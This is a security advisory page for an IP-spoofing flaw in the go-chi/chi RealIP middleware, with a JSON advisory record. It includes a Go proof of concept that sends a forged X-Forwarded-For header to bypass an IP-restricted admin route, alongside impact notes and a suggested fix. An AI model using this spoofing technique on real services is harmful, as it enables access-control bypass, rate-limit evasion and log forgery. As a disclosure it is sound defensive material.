GHSA-3FXJ-6JH8-HVHX
Vulnerability from github – Published: 2026-06-25 18:21 – Updated: 2026-06-25 18:21
VLAI
Summary
chi Has an IP Spoofing Vulnerability in `middleware.RealIP`
Details
Summary
The RealIP middleware in go-chi/chi is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the X-Forwarded-For HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.
Details
In middleware/realip.go, the realIP function parses the X-Forwarded-For header and extracts the first comma-separated value:
func realIP(r *http.Request) string {
// ...
} else if xff := r.Header.Get(xForwardedFor); xff != "" {
ip, _, _ = strings.Cut(xff, ",")
}
// ...
}
Standard practice for X-Forwarded-For is that each proxy appends the client's IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like X-Forwarded-For: <spoofed_ip>, <actual_proxy_ip>, and go-chi/chi will treat <spoofed_ip> as the source of the request.
Proof of Concept (PoC)
The following code demonstrates how an attacker can bypass an IP-based restriction.
package main
import (
"fmt"
"net/http"
"net/http/httptest"
"github.com/go-chi/chi/v5"
"github.com/go-chi/chi/v5/middleware"
)
func main() {
r := chi.NewRouter()
// Enable the vulnerable RealIP middleware
r.Use(middleware.RealIP)
// An endpoint that should be restricted to a specific administrator IP (1.2.3.4)
r.Get("/admin/secret", func(w http.ResponseWriter, r *http.Request) {
clientIP := r.RemoteAddr
fmt.Printf("[Server] Request received from IP: %s\n", clientIP)
// Simulate IP-based access control
if clientIP == "1.2.3.4" {
w.WriteHeader(http.StatusOK)
w.Write([]byte("CONFIDENTIAL: The secret code is 42\n"))
} else {
w.WriteHeader(http.StatusForbidden)
w.Write([]byte("Access Denied: You are not an administrator.\n"))
}
})
// --- Attack Simulation ---
fmt.Println("--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---")
// 1. Normal Request (Should be denied)
req1, _ := http.NewRequest("GET", "/admin/secret", nil)
rr1 := httptest.NewRecorder()
r.ServeHTTP(rr1, req1)
fmt.Printf("[Client] Normal Request -> Status: %d, Body: %s", rr1.Code, rr1.Body.String())
// 2. Spoofed Request (Using X-Forwarded-For)
// Attacker claims to be '1.2.3.4'
req2, _ := http.NewRequest("GET", "/admin/secret", nil)
req2.Header.Set("X-Forwarded-For", "1.2.3.4, 5.6.7.8") // 5.6.7.8 is a fake proxy IP
rr2 := httptest.NewRecorder()
r.ServeHTTP(rr2, req2)
fmt.Printf("[Client] Spoofed Request -> Status: %d, Body: %s", rr2.Code, rr2.Body.String())
}
Impact
An attacker can masquerade as any IP address. This can lead to:
- Bypass of Authentication/Authorization: Accessing administrative panels or private APIs restricted by IP.
- Rate Limiting Evasion: Circumbeting rate limiters that use RemoteAddr as a key.
- Log Forgery: Causing incorrect IP addresses to be recorded in security logs.
CWE
- CWE-290: Authentication Bypass by Spoofing
- CWE-345: Insufficient Verification of Data Authenticity
CVSS Score
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N (6.9 Moderate)
Affected Versions
github.com/go-chi/chi/v5<=v5.2.1(and all previous versions)
Recommendation
- Stop using
middleware.RealIPif you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy. - Implement a trust-based IP extraction mechanism that verifies the chain of proxies.
- Use the
X-Forwarded-Forheader by traversing it from right to left and stopping at the first IP address that is not in your list of trusted proxies.
Suggested Fix
A secure implementation of RealIP should allow developers to specify a list of trusted proxy IP ranges (CIDRs). Below is a conceptual example of how to fix this by traversing the X-Forwarded-For header from right to left:
func GetClientIP(r *http.Request, trustedProxies []net.IPNet) string {
xff := r.Header.Get("X-Forwarded-For")
if xff == "" {
return r.RemoteAddr
}
ips := strings.Split(xff, ",")
// Traverse from right to left
for i := len(ips) - 1; i >= 0; i-- {
ipStr := strings.TrimSpace(ips[i])
ip := net.ParseIP(ipStr)
if ip == nil {
continue
}
if !isTrustedProxy(ip, trustedProxies) {
return ipStr
}
}
return r.RemoteAddr
}
func isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool {
for _, network := range trustedProxies {
if network.Contains(ip) {
return true
}
}
return false
}
By providing a configuration like middleware.RealIPWithConfig(Config{TrustedProxies: []string{"10.0.0.0/8"}}) , the middleware can safely identify the true client IP even in complex proxy environments.
Severity
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/go-chi/chi/v5/middleware"
},
"ranges": [
{
"events": [
{
"introduced": "5.2.1"
},
{
"fixed": "5.3.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-290",
"CWE-345"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-25T18:21:37Z",
"nvd_published_at": null,
"severity": "MODERATE"
},
"details": "## Summary\nThe `RealIP` middleware in `go-chi/chi` is vulnerable to IP spoofing because it blindly trusts the first (leftmost) element of the `X-Forwarded-For` HTTP header. This allows a remote attacker to bypass IP-based access control lists (ACLs) and rate-limiting mechanisms by providing a spoofed IP address in the header.\n\n## Details\nIn `middleware/realip.go`, the `realIP` function parses the `X-Forwarded-For` header and extracts the first comma-separated value:\n\n```go\nfunc realIP(r *http.Request) string {\n // ...\n } else if xff := r.Header.Get(xForwardedFor); xff != \"\" {\n ip, _, _ = strings.Cut(xff, \",\")\n }\n // ...\n}\n```\n\nStandard practice for `X-Forwarded-For` is that each proxy appends the client\u0027s IP to the end of the list. However, since the client can also provide this header, the leftmost values are untrusted. A client can send a header like `X-Forwarded-For: \u003cspoofed_ip\u003e, \u003cactual_proxy_ip\u003e`, and `go-chi/chi` will treat `\u003cspoofed_ip\u003e` as the source of the request.\n\n## Proof of Concept (PoC)\nThe following code demonstrates how an attacker can bypass an IP-based restriction.\n\n```go\npackage main\n\nimport (\n \"fmt\"\n \"net/http\"\n \"net/http/httptest\"\n\n \"github.com/go-chi/chi/v5\"\n \"github.com/go-chi/chi/v5/middleware\"\n)\n\nfunc main() {\n r := chi.NewRouter()\n\n // Enable the vulnerable RealIP middleware\n r.Use(middleware.RealIP)\n\n // An endpoint that should be restricted to a specific administrator IP (1.2.3.4)\n r.Get(\"/admin/secret\", func(w http.ResponseWriter, r *http.Request) {\n clientIP := r.RemoteAddr\n fmt.Printf(\"[Server] Request received from IP: %s\\n\", clientIP)\n\n // Simulate IP-based access control\n if clientIP == \"1.2.3.4\" {\n w.WriteHeader(http.StatusOK)\n w.Write([]byte(\"CONFIDENTIAL: The secret code is 42\\n\"))\n } else {\n w.WriteHeader(http.StatusForbidden)\n w.Write([]byte(\"Access Denied: You are not an administrator.\\n\"))\n }\n })\n\n // --- Attack Simulation ---\n fmt.Println(\"--- PoC: IP Spoofing Attack on chi/middleware.RealIP ---\")\n\n // 1. Normal Request (Should be denied)\n req1, _ := http.NewRequest(\"GET\", \"/admin/secret\", nil)\n rr1 := httptest.NewRecorder()\n r.ServeHTTP(rr1, req1)\n fmt.Printf(\"[Client] Normal Request -\u003e Status: %d, Body: %s\", rr1.Code, rr1.Body.String())\n\n // 2. Spoofed Request (Using X-Forwarded-For)\n // Attacker claims to be \u00271.2.3.4\u0027\n req2, _ := http.NewRequest(\"GET\", \"/admin/secret\", nil)\n req2.Header.Set(\"X-Forwarded-For\", \"1.2.3.4, 5.6.7.8\") // 5.6.7.8 is a fake proxy IP\n rr2 := httptest.NewRecorder()\n r.ServeHTTP(rr2, req2)\n fmt.Printf(\"[Client] Spoofed Request -\u003e Status: %d, Body: %s\", rr2.Code, rr2.Body.String())\n}\n```\n\n## Impact\nAn attacker can masquerade as any IP address. This can lead to:\n- **Bypass of Authentication/Authorization:** Accessing administrative panels or private APIs restricted by IP.\n- **Rate Limiting Evasion:** Circumbeting rate limiters that use `RemoteAddr` as a key.\n- **Log Forgery:** Causing incorrect IP addresses to be recorded in security logs.\n\n## CWE\n- **CWE-290:** Authentication Bypass by Spoofing\n- **CWE-345:** Insufficient Verification of Data Authenticity\n\n## CVSS Score\n- **CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N** (6.9 Moderate)\n\n## Affected Versions\n- `github.com/go-chi/chi/v5` \u003c= `v5.2.1` (and all previous versions)\n\n## Recommendation\n1. **Stop using `middleware.RealIP`** if you cannot guarantee that the incoming request headers are from a trusted source and have been sanitized by a proxy.\n2. Implement a trust-based IP extraction mechanism that verifies the chain of proxies.\n3. Use the `X-Forwarded-For` header by traversing it from **right to left** and stopping at the first IP address that is not in your list of trusted proxies.\n\n## Suggested Fix\nA secure implementation of `RealIP` should allow developers to specify a list of trusted proxy IP ranges (CIDRs). Below is a conceptual example of how to fix this by traversing the `X-Forwarded-For` header from right to left:\n\n```go\nfunc GetClientIP(r *http.Request, trustedProxies []net.IPNet) string {\n xff := r.Header.Get(\"X-Forwarded-For\")\n if xff == \"\" {\n return r.RemoteAddr\n }\n\n ips := strings.Split(xff, \",\")\n // Traverse from right to left\n for i := len(ips) - 1; i \u003e= 0; i-- {\n ipStr := strings.TrimSpace(ips[i])\n ip := net.ParseIP(ipStr)\n if ip == nil {\n continue\n }\n\n if !isTrustedProxy(ip, trustedProxies) {\n return ipStr\n }\n }\n\n return r.RemoteAddr\n}\n\nfunc isTrustedProxy(ip net.IP, trustedProxies []net.IPNet) bool {\n for _, network := range trustedProxies {\n if network.Contains(ip) {\n return true\n }\n }\n return false\n}\n```\n\nBy providing a configuration like `middleware.RealIPWithConfig(Config{TrustedProxies: []string{\"10.0.0.0/8\"}})` , the middleware can safely identify the true client IP even in complex proxy environments.",
"id": "GHSA-3fxj-6jh8-hvhx",
"modified": "2026-06-25T18:21:38Z",
"published": "2026-06-25T18:21:37Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-chi/chi/security/advisories/GHSA-3fxj-6jh8-hvhx"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-chi/chi"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "chi Has an IP Spoofing Vulnerability in `middleware.RealIP`"
}
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Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
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